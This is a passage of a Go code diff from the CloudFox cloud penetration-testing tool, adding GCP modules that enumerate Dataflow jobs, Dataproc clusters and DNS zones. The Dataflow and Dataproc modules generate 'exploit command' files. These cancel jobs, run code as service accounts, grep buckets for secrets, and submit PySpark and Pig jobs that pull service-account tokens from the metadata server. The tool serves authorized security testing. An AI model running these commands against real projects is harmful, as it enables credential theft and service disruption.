func (m *CrossProjectModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
header := m.getHeader()
bodyByProject := m.buildTableBodyByTargetProject()
lootFiles := m.collectLootFiles()
// Write output for each target project separately
isFirstProject := true
for targetProject, body := range bodyByProject {
if len(body) == 0 {
continue
}
tables := []internal.TableFile{
{
Name: "crossproject",
Header: header,
Body: body,
},
}
// Only include loot files on the first project to avoid duplicate writes
var projectLoot []internal.LootFile
if isFirstProject {
projectLoot = lootFiles
isFirstProject = false
}
output := CrossProjectOutput{
Table: tables,
Loot: projectLoot,
}
err := internal.HandleOutputSmart(
"gcp",
m.Format,
m.OutputDirectory,
m.Verbosity,
m.WrapTable,
"project",
[]string{targetProject},
[]string{m.GetProjectName(targetProject)},
m.Account,
output,
)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output for project %s: %v", targetProject, err), globals.GCP_CROSSPROJECT_MODULE_NAME)
m.CommandCounter.IncrError()
}
}
}
+1710
View File
File diff suppressed because it is too large. Load diff
+336
View File
@@ -0,0 +1,336 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
dataflowservice "github.com/BishopFox/cloudfox/gcp/services/dataflowService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPDataflowCommand = &cobra.Command{
Use: globals.GCP_DATAFLOW_MODULE_NAME,
Aliases: []string{"df", "pipelines"},
Short: "Enumerate Dataflow jobs and pipelines",
Long: `Enumerate Dataflow jobs with security analysis.
Features:
- Lists all Dataflow jobs (batch and streaming)
- Shows service account configuration
- Identifies network exposure (public IPs)
- Analyzes temp/staging storage locations
- Detects default service account usage`,
Run: runGCPDataflowCommand,
}
type DataflowModule struct {
gcpinternal.BaseGCPModule
ProjectJobs map[string][]dataflowservice.JobInfo // projectID -> jobs
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // Cached FoxMapper analysis results
mu sync.Mutex
}
type DataflowOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o DataflowOutput) TableFiles() []internal.TableFile { return o.Table }
func (o DataflowOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPDataflowCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_DATAFLOW_MODULE_NAME)
if err != nil {
return
}
module := &DataflowModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectJobs: make(map[string][]dataflowservice.JobInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *DataflowModule) Execute(ctx context.Context, logger internal.Logger) {
// Get FoxMapper cache from context
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_DATAFLOW_MODULE_NAME, m.processProject)
allJobs := m.getAllJobs()
if len(allJobs) == 0 {
logger.InfoM("No Dataflow jobs found", globals.GCP_DATAFLOW_MODULE_NAME)
return
}
// Count by state
running := 0
publicIPs := 0
for _, job := range allJobs {
if job.State == "JOB_STATE_RUNNING" {
running++
}
if job.UsePublicIPs {
publicIPs++
}
}
logger.SuccessM(fmt.Sprintf("Found %d Dataflow job(s) (%d running, %d with public IPs)",
len(allJobs), running, publicIPs), globals.GCP_DATAFLOW_MODULE_NAME)
m.writeOutput(ctx, logger)
}
func (m *DataflowModule) getAllJobs() []dataflowservice.JobInfo {
var all []dataflowservice.JobInfo
for _, jobs := range m.ProjectJobs {
all = append(all, jobs...)
}
return all
}
func (m *DataflowModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Dataflow in project: %s", projectID), globals.GCP_DATAFLOW_MODULE_NAME)
}
svc := dataflowservice.New()
jobs, err := svc.ListJobs(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_DATAFLOW_MODULE_NAME,
fmt.Sprintf("Could not list Dataflow jobs in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectJobs[projectID] = jobs
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["dataflow-commands"] = &internal.LootFile{
Name: "dataflow-commands",
Contents: "# Dataflow Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
for _, job := range jobs {
m.addToLoot(projectID, job)
}
m.mu.Unlock()
}
func (m *DataflowModule) addToLoot(projectID string, job dataflowservice.JobInfo) {
lootFile := m.LootMap[projectID]["dataflow-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# DATAFLOW JOB: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Location: %s\n"+
"# ID: %s\n"+
"# Type: %s\n"+
"# State: %s\n"+
"# Service Account: %s\n"+
"# Public IPs: %v\n"+
"# Workers: %d\n",
job.Name, job.ProjectID, job.Location,
job.ID, job.Type, job.State,
job.ServiceAccount, job.UsePublicIPs, job.NumWorkers,
)
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe job:
gcloud dataflow jobs describe %s --project=%s --region=%s
# Show job details:
gcloud dataflow jobs show %s --project=%s --region=%s
# List all Dataflow jobs:
gcloud dataflow jobs list --project=%s --region=%s
# Get job metrics:
gcloud dataflow metrics list %s --project=%s --region=%s
`,
job.ID, job.ProjectID, job.Location,
job.ID, job.ProjectID, job.Location,
job.ProjectID, job.Location,
job.ID, job.ProjectID, job.Location,
)
// Bucket inspection
if job.TempLocation != "" {
lootFile.Contents += fmt.Sprintf(
"# Inspect temp bucket (may contain intermediate data):\n"+
"gsutil ls -r %s\n\n",
job.TempLocation,
)
}
if job.StagingLocation != "" {
lootFile.Contents += fmt.Sprintf(
"# Inspect staging bucket (contains job artifacts):\n"+
"gsutil ls -r %s\n\n",
job.StagingLocation,
)
}
// === EXPLOIT COMMANDS ===
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
lootFile.Contents += fmt.Sprintf(
"# Cancel running job:\n"+
"gcloud dataflow jobs cancel %s --project=%s --region=%s\n\n"+
"# Drain running job (graceful stop):\n"+
"gcloud dataflow jobs drain %s --project=%s --region=%s\n\n"+
"# Submit a new Dataflow job (code execution as SA: %s):\n"+
"# Template-based job:\n"+
"gcloud dataflow jobs run cloudfox-test --gcs-location=gs://dataflow-templates/latest/Word_Count --region=%s --project=%s --parameters=inputFile=gs://BUCKET/input.txt,output=gs://BUCKET/output\n\n"+
"# Flex template job (custom container = full code execution):\n"+
"gcloud dataflow flex-template run cloudfox-flex --template-file-gcs-location=gs://YOUR_BUCKET/template.json --region=%s --project=%s --service-account-email=%s\n\n",
job.ID, job.ProjectID, job.Location,
job.ID, job.ProjectID, job.Location,
job.ServiceAccount,
job.Location, job.ProjectID,
job.Location, job.ProjectID, job.ServiceAccount,
)
// Inspect staging/temp for secrets
if job.TempLocation != "" || job.StagingLocation != "" {
lootFile.Contents += "# Search job buckets for secrets/credentials:\n"
if job.TempLocation != "" {
lootFile.Contents += fmt.Sprintf("gsutil cat %s/** 2>/dev/null | grep -iE '(password|secret|token|key|credential)'\n", job.TempLocation)
}
if job.StagingLocation != "" {
lootFile.Contents += fmt.Sprintf("gsutil cat %s/** 2>/dev/null | grep -iE '(password|secret|token|key|credential)'\n", job.StagingLocation)
}
lootFile.Contents += "\n"
}
}
func (m *DataflowModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *DataflowModule) getTableHeader() []string {
return []string{
"Project ID",
"Project Name",
"Name",
"Type",
"State",
"Location",
"Service Account",
"SA Attack Paths",
"Public IPs",
"Workers",
}
}
func (m *DataflowModule) jobsToTableBody(jobs []dataflowservice.JobInfo) [][]string {
var body [][]string
for _, job := range jobs {
publicIPs := "No"
if job.UsePublicIPs {
publicIPs = "Yes"
}
// Check attack paths (privesc/exfil/lateral) for the service account
attackPaths := "run foxmapper"
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
if job.ServiceAccount != "" {
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, job.ServiceAccount)
} else {
attackPaths = "No"
}
}
body = append(body, []string{
job.ProjectID,
m.GetProjectName(job.ProjectID),
job.Name,
job.Type,
job.State,
job.Location,
job.ServiceAccount,
attackPaths,
publicIPs,
fmt.Sprintf("%d", job.NumWorkers),
})
}
return body
}
func (m *DataflowModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID, jobs := range m.ProjectJobs {
body := m.jobsToTableBody(jobs)
tableFiles := []internal.TableFile{{Name: "dataflow", Header: m.getTableHeader(), Body: body}}
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = DataflowOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_DATAFLOW_MODULE_NAME)
}
}
func (m *DataflowModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allJobs := m.getAllJobs()
body := m.jobsToTableBody(allJobs)
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
tables := []internal.TableFile{{Name: "dataflow", Header: m.getTableHeader(), Body: body}}
output := DataflowOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_DATAFLOW_MODULE_NAME)
}
}
+412
View File
@@ -0,0 +1,412 @@
package commands
import (
"github.com/BishopFox/cloudfox/gcp/shared"
"context"
"fmt"
"strings"
"sync"
dataprocservice "github.com/BishopFox/cloudfox/gcp/services/dataprocService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPDataprocCommand = &cobra.Command{
Use: globals.GCP_DATAPROC_MODULE_NAME,
Aliases: []string{"dp", "hadoop", "spark"},
Short: "Enumerate Dataproc clusters",
Long: `Enumerate Dataproc (Hadoop/Spark) clusters.
Features:
- Lists all Dataproc clusters across regions
- Shows service account configuration
- Identifies public IP exposure
- Checks for Kerberos authentication
- Analyzes security configurations`,
Run: runGCPDataprocCommand,
}
type DataprocModule struct {
gcpinternal.BaseGCPModule
ProjectClusters map[string][]dataprocservice.ClusterInfo // projectID -> clusters
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
FoxMapperCache *gcpinternal.FoxMapperCache // Cached FoxMapper results
mu sync.Mutex
}
type DataprocOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o DataprocOutput) TableFiles() []internal.TableFile { return o.Table }
func (o DataprocOutput) LootFiles() []internal.LootFile { return o.Loot }
func runGCPDataprocCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_DATAPROC_MODULE_NAME)
if err != nil {
return
}
module := &DataprocModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectClusters: make(map[string][]dataprocservice.ClusterInfo),
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
func (m *DataprocModule) Execute(ctx context.Context, logger internal.Logger) {
// Get FoxMapper cache from context
m.FoxMapperCache = gcpinternal.GetFoxMapperCacheFromContext(ctx)
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_DATAPROC_MODULE_NAME, m.processProject)
allClusters := m.getAllClusters()
if len(allClusters) == 0 {
logger.InfoM("No Dataproc clusters found", globals.GCP_DATAPROC_MODULE_NAME)
return
}
runningCount := 0
publicCount := 0
for _, cluster := range allClusters {
if cluster.State == "RUNNING" {
runningCount++
}
if !cluster.InternalIPOnly {
publicCount++
}
}
logger.SuccessM(fmt.Sprintf("Found %d Dataproc cluster(s) (%d running, %d with public IPs)",
len(allClusters), runningCount, publicCount), globals.GCP_DATAPROC_MODULE_NAME)
m.writeOutput(ctx, logger)
}
func (m *DataprocModule) getAllClusters() []dataprocservice.ClusterInfo {
var all []dataprocservice.ClusterInfo
for _, clusters := range m.ProjectClusters {
all = append(all, clusters...)
}
return all
}
func (m *DataprocModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating Dataproc in project: %s", projectID), globals.GCP_DATAPROC_MODULE_NAME)
}
svc := dataprocservice.New()
clusters, err := svc.ListClusters(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_DATAPROC_MODULE_NAME,
fmt.Sprintf("Could not list Dataproc clusters in project %s", projectID))
return
}
m.mu.Lock()
m.ProjectClusters[projectID] = clusters
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["dataproc-commands"] = &internal.LootFile{
Name: "dataproc-commands",
Contents: "# Dataproc Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
for _, cluster := range clusters {
m.addToLoot(projectID, cluster)
}
m.mu.Unlock()
}
func (m *DataprocModule) addToLoot(projectID string, cluster dataprocservice.ClusterInfo) {
lootFile := m.LootMap[projectID]["dataproc-commands"]
if lootFile == nil {
return
}
lootFile.Contents += fmt.Sprintf(
"# =============================================================================\n"+
"# DATAPROC CLUSTER: %s\n"+
"# =============================================================================\n"+
"# Project: %s\n"+
"# Region: %s\n"+
"# State: %s\n"+
"# Service Account: %s\n"+
"# Public IPs: %s\n"+
"# Kerberos: %s\n",
cluster.Name, cluster.ProjectID, cluster.Region,
cluster.State, cluster.ServiceAccount,
shared.BoolToYesNo(!cluster.InternalIPOnly),
shared.BoolToYesNo(cluster.KerberosEnabled),
)
if len(cluster.MasterInstanceNames) > 0 {
lootFile.Contents += fmt.Sprintf("# Master Instances: %s\n", strings.Join(cluster.MasterInstanceNames, ", "))
}
// === ENUMERATION COMMANDS ===
lootFile.Contents += fmt.Sprintf(`
# === ENUMERATION COMMANDS ===
# Describe cluster:
gcloud dataproc clusters describe %s --region=%s --project=%s
# List jobs on this cluster:
gcloud dataproc jobs list --cluster=%s --region=%s --project=%s
# Get cluster IAM policy:
gcloud dataproc clusters get-iam-policy %s --region=%s --project=%s
# List cluster metadata/properties:
gcloud dataproc clusters describe %s --region=%s --project=%s --format=json | jq '.config.softwareConfig.properties'
`,
cluster.Name, cluster.Region, cluster.ProjectID,
cluster.Name, cluster.Region, cluster.ProjectID,
cluster.Name, cluster.Region, cluster.ProjectID,
cluster.Name, cluster.Region, cluster.ProjectID,
)
// Bucket commands
if cluster.ConfigBucket != "" {
lootFile.Contents += fmt.Sprintf(
"# List config bucket (may contain init scripts with secrets):\n"+
"gsutil ls -r gs://%s/\n"+
"# Download init actions (check for hardcoded credentials):\n"+
"gsutil -m cp -r gs://%s/google-cloud-dataproc-metainfo/ /tmp/dataproc-config-%s/\n\n",
cluster.ConfigBucket,
cluster.ConfigBucket, cluster.Name,
)
}
if cluster.TempBucket != "" {
lootFile.Contents += fmt.Sprintf(
"# List temp bucket (may contain job output/data):\n"+
"gsutil ls -r gs://%s/\n\n",
cluster.TempBucket,
)
}
// === EXPLOIT COMMANDS ===
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
// SSH to master node
if len(cluster.MasterInstanceNames) > 0 {
masterName := cluster.MasterInstanceNames[0]
lootFile.Contents += fmt.Sprintf(
"# SSH to master node (runs as cluster SA: %s):\n"+
"gcloud compute ssh %s --project=%s --zone=ZONE\n\n"+
"# SSH through IAP (if direct SSH blocked):\n"+
"gcloud compute ssh %s --tunnel-through-iap --project=%s --zone=ZONE\n\n",
cluster.ServiceAccount,
masterName, cluster.ProjectID,
masterName, cluster.ProjectID,
)
} else {
lootFile.Contents += fmt.Sprintf(
"# SSH to master node:\n"+
"gcloud compute ssh %s-m --project=%s --zone=ZONE\n\n"+
"# SSH through IAP (if direct SSH blocked):\n"+
"gcloud compute ssh %s-m --tunnel-through-iap --project=%s --zone=ZONE\n\n",
cluster.Name, cluster.ProjectID,
cluster.Name, cluster.ProjectID,
)
}
// Submit jobs for code execution
lootFile.Contents += fmt.Sprintf(
"# Submit PySpark job for code execution (runs as SA: %s):\n"+
"cat > /tmp/cloudfox_spark.py << 'SPARKEOF'\n"+
"import subprocess, json\n"+
"result = subprocess.run(['curl', '-s', '-H', 'Metadata-Flavor: Google',\n"+
" 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'],\n"+
" capture_output=True, text=True)\n"+
"print(json.loads(result.stdout))\n"+
"SPARKEOF\n"+
"gcloud dataproc jobs submit pyspark /tmp/cloudfox_spark.py --cluster=%s --region=%s --project=%s\n\n"+
"# Submit Spark job:\n"+
"gcloud dataproc jobs submit spark --cluster=%s --region=%s --project=%s --class=MAIN_CLASS --jars=JAR_PATH\n\n"+
"# Submit Hive query (access HDFS/HBase data):\n"+
"gcloud dataproc jobs submit hive --cluster=%s --region=%s --project=%s --execute=\"SHOW DATABASES; SHOW TABLES;\"\n\n"+
"# Submit Pig job:\n"+
"gcloud dataproc jobs submit pig --cluster=%s --region=%s --project=%s --execute=\"sh curl -s http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -H Metadata-Flavor:Google\"\n\n",
cluster.ServiceAccount,
cluster.Name, cluster.Region, cluster.ProjectID,
cluster.Name, cluster.Region, cluster.ProjectID,
cluster.Name, cluster.Region, cluster.ProjectID,
cluster.Name, cluster.Region, cluster.ProjectID,
)
// Access web UIs
lootFile.Contents += fmt.Sprintf(
"# Access Hadoop/Spark Web UIs (via SSH tunnel or component gateway):\n"+
"# YARN ResourceManager: http://<master>:8088\n"+
"# HDFS NameNode: http://<master>:9870\n"+
"# Spark History: http://<master>:18080\n"+
"# Create SSH tunnel to YARN UI:\n"+
"gcloud compute ssh %s-m --project=%s --zone=ZONE -- -L 8088:localhost:8088 -N\n\n",
cluster.Name, cluster.ProjectID,
)
}
func (m *DataprocModule) writeOutput(ctx context.Context, logger internal.Logger) {
if m.Hierarchy != nil && !m.FlatOutput {
m.writeHierarchicalOutput(ctx, logger)
} else {
m.writeFlatOutput(ctx, logger)
}
}
func (m *DataprocModule) getTableHeader() []string {
return []string{
"Project",
"Name",
"Region",
"State",
"Master",
"Master Instances",
"Workers",
"Service Account",
"SA Attack Paths",
"Public IPs",
"Kerberos",
"IAM Binding Role",
"IAM Binding Principal",
}
}
func (m *DataprocModule) clustersToTableBody(clusters []dataprocservice.ClusterInfo) [][]string {
var body [][]string
for _, cluster := range clusters {
sa := cluster.ServiceAccount
if sa == "" {
sa = "(default)"
}
// Check attack paths (privesc/exfil/lateral) for the service account
attackPaths := "run foxmapper"
if m.FoxMapperCache != nil && m.FoxMapperCache.IsPopulated() {
if sa != "(default)" && sa != "" {
attackPaths = gcpinternal.GetAttackSummaryFromCaches(m.FoxMapperCache, nil, sa)
} else {
attackPaths = "No"
}
}
masterConfig := fmt.Sprintf("%s x%d", cluster.MasterMachineType, cluster.MasterCount)
workerConfig := fmt.Sprintf("%s x%d", cluster.WorkerMachineType, cluster.WorkerCount)
// Master instances
masterInstances := "-"
if len(cluster.MasterInstanceNames) > 0 {
masterInstances = strings.Join(cluster.MasterInstanceNames, ", ")
}
// If cluster has IAM bindings, create one row per binding
if len(cluster.IAMBindings) > 0 {
for _, binding := range cluster.IAMBindings {
body = append(body, []string{
m.GetProjectName(cluster.ProjectID),
cluster.Name,
cluster.Region,
cluster.State,
masterConfig,
masterInstances,
workerConfig,
sa,
attackPaths,
shared.BoolToYesNo(!cluster.InternalIPOnly),
shared.BoolToYesNo(cluster.KerberosEnabled),
binding.Role,
binding.Member,
})
}
} else {
// Cluster has no IAM bindings - single row
body = append(body, []string{
m.GetProjectName(cluster.ProjectID),
cluster.Name,
cluster.Region,
cluster.State,
masterConfig,
masterInstances,
workerConfig,
sa,
attackPaths,
shared.BoolToYesNo(!cluster.InternalIPOnly),
shared.BoolToYesNo(cluster.KerberosEnabled),
"-",
"-",
})
}
}
return body
}
func (m *DataprocModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
outputData := internal.HierarchicalOutputData{
OrgLevelData: make(map[string]internal.CloudfoxOutput),
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
}
for projectID, clusters := range m.ProjectClusters {
body := m.clustersToTableBody(clusters)
tableFiles := []internal.TableFile{{Name: "dataproc-clusters", Header: m.getTableHeader(), Body: body}}
var lootFiles []internal.LootFile
if projectLoot, ok := m.LootMap[projectID]; ok {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
outputData.ProjectLevelData[projectID] = DataprocOutput{Table: tableFiles, Loot: lootFiles}
}
pathBuilder := m.BuildPathBuilder()
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_DATAPROC_MODULE_NAME)
}
}
func (m *DataprocModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
allClusters := m.getAllClusters()
body := m.clustersToTableBody(allClusters)
tables := []internal.TableFile{{Name: "dataproc-clusters", Header: m.getTableHeader(), Body: body}}
var lootFiles []internal.LootFile
for _, projectLoot := range m.LootMap {
for _, loot := range projectLoot {
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
lootFiles = append(lootFiles, *loot)
}
}
}
output := DataprocOutput{Table: tables, Loot: lootFiles}
scopeNames := make([]string, len(m.ProjectIDs))
for i, id := range m.ProjectIDs {
scopeNames[i] = m.GetProjectName(id)
}
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
"project", m.ProjectIDs, scopeNames, m.Account, output)
if err != nil {
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_DATAPROC_MODULE_NAME)
}
}
+550
View File
@@ -0,0 +1,550 @@
package commands
import (
"context"
"fmt"
"strings"
"sync"
DNSService "github.com/BishopFox/cloudfox/gcp/services/dnsService"
"github.com/BishopFox/cloudfox/globals"
"github.com/BishopFox/cloudfox/internal"
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
"github.com/spf13/cobra"
)
var GCPDNSCommand = &cobra.Command{
Use: globals.GCP_DNS_MODULE_NAME,
Aliases: []string{"zones", "cloud-dns"},
Short: "Enumerate Cloud DNS zones and records with security analysis",
Long: `Enumerate Cloud DNS managed zones and records across projects.
Features:
- Lists all DNS managed zones (public and private)
- Shows zone configuration (DNSSEC, visibility, peering)
- Enumerates DNS records for each zone
- Identifies interesting records (A, CNAME, TXT, MX)
- Shows private zone VPC bindings
- Generates gcloud commands for DNS management
Security Columns:
- Visibility: public or private
- DNSSEC: Whether DNSSEC is enabled
- Networks: VPC networks for private zones
- Peering: Cross-project DNS peering
Attack Surface:
- Public zones expose domain infrastructure
- TXT records may contain sensitive info (SPF, DKIM, verification)
- Private zones indicate internal network structure
- DNS forwarding may expose internal resolvers`,
Run: runGCPDNSCommand,
}
// ------------------------------
// Module Struct
// ------------------------------
type DNSModule struct {
gcpinternal.BaseGCPModule
ProjectZones map[string][]DNSService.ZoneInfo // projectID -> zones
ProjectRecords map[string][]DNSService.RecordInfo // projectID -> records
TakeoverRisks []DNSService.TakeoverRisk // kept global for summary
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
mu sync.Mutex
}
// ------------------------------
// Output Struct
// ------------------------------
type DNSOutput struct {
Table []internal.TableFile
Loot []internal.LootFile
}
func (o DNSOutput) TableFiles() []internal.TableFile { return o.Table }
func (o DNSOutput) LootFiles() []internal.LootFile { return o.Loot }
// ------------------------------
// Command Entry Point
// ------------------------------
func runGCPDNSCommand(cmd *cobra.Command, args []string) {
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_DNS_MODULE_NAME)
if err != nil {
return
}
module := &DNSModule{
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
ProjectZones: make(map[string][]DNSService.ZoneInfo),
ProjectRecords: make(map[string][]DNSService.RecordInfo),
TakeoverRisks: []DNSService.TakeoverRisk{},
LootMap: make(map[string]map[string]*internal.LootFile),
}
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
}
// ------------------------------
// Module Execution
// ------------------------------
func (m *DNSModule) Execute(ctx context.Context, logger internal.Logger) {
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_DNS_MODULE_NAME, m.processProject)
allZones := m.getAllZones()
allRecords := m.getAllRecords()
if len(allZones) == 0 {
logger.InfoM("No DNS zones found", globals.GCP_DNS_MODULE_NAME)
return
}
// Count zone types and security issues
publicCount := 0
privateCount := 0
transferModeCount := 0
dnssecOffCount := 0
for _, zone := range allZones {
if zone.Visibility == "public" {
publicCount++
// Check DNSSEC status for public zones
if zone.DNSSECState == "" || zone.DNSSECState == "off" {
dnssecOffCount++
} else if zone.DNSSECState == "transfer" {
transferModeCount++
}
} else {
privateCount++
}
}
// Check for subdomain takeover risks
ds := DNSService.New()
m.TakeoverRisks = ds.CheckTakeoverRisks(allRecords)
msg := fmt.Sprintf("Found %d zone(s), %d record(s)", len(allZones), len(allRecords))
if publicCount > 0 {
msg += fmt.Sprintf(" [%d public]", publicCount)
}
if privateCount > 0 {
msg += fmt.Sprintf(" [%d private]", privateCount)
}
logger.SuccessM(msg, globals.GCP_DNS_MODULE_NAME)
// Log security warnings
if dnssecOffCount > 0 {
logger.InfoM(fmt.Sprintf("[SECURITY] %d public zone(s) have DNSSEC disabled", dnssecOffCount), globals.GCP_DNS_MODULE_NAME)
}
if transferModeCount > 0 {
logger.InfoM(fmt.Sprintf("[SECURITY] %d zone(s) in DNSSEC transfer mode (vulnerable during migration)", transferModeCount), globals.GCP_DNS_MODULE_NAME)
}
if len(m.TakeoverRisks) > 0 {
logger.InfoM(fmt.Sprintf("[SECURITY] %d potential subdomain takeover risk(s) detected", len(m.TakeoverRisks)), globals.GCP_DNS_MODULE_NAME)
}
m.writeOutput(ctx, logger)
}
// getAllZones returns all zones from all projects
func (m *DNSModule) getAllZones() []DNSService.ZoneInfo {
var all []DNSService.ZoneInfo
for _, zones := range m.ProjectZones {
all = append(all, zones...)
}
return all
}
// getAllRecords returns all records from all projects
func (m *DNSModule) getAllRecords() []DNSService.RecordInfo {
var all []DNSService.RecordInfo
for _, records := range m.ProjectRecords {
all = append(all, records...)
}
return all
}
// ------------------------------
// Project Processor
// ------------------------------
func (m *DNSModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
logger.InfoM(fmt.Sprintf("Enumerating DNS in project: %s", projectID), globals.GCP_DNS_MODULE_NAME)
}
ds := DNSService.New()
// Get zones
zones, err := ds.Zones(projectID)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_DNS_MODULE_NAME,
fmt.Sprintf("Could not enumerate DNS zones in project %s", projectID))
return
}
var projectRecords []DNSService.RecordInfo
m.mu.Lock()
// Initialize loot for this project
if m.LootMap[projectID] == nil {
m.LootMap[projectID] = make(map[string]*internal.LootFile)
m.LootMap[projectID]["dns-commands"] = &internal.LootFile{
Name: "dns-commands",
Contents: "# Cloud DNS Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
}
}
m.mu.Unlock()
for _, zone := range zones {
m.mu.Lock()
m.addZoneToLoot(projectID, zone)
m.mu.Unlock()
// Get records for each zone (outside of lock to avoid holding mutex across API call)
records, err := ds.Records(projectID, zone.Name)
if err != nil {
m.CommandCounter.IncrError()
gcpinternal.HandleGCPError(err, logger, globals.GCP_DNS_MODULE_NAME,
fmt.Sprintf("Could not enumerate DNS records in zone %s", zone.Name))
continue
}
projectRecords = append(projectRecords, records...)
}
m.mu.Lock()
m.ProjectZones[projectID] = zones
m.ProjectRecords[projectID] = projectRecords
m.mu.Unlock()
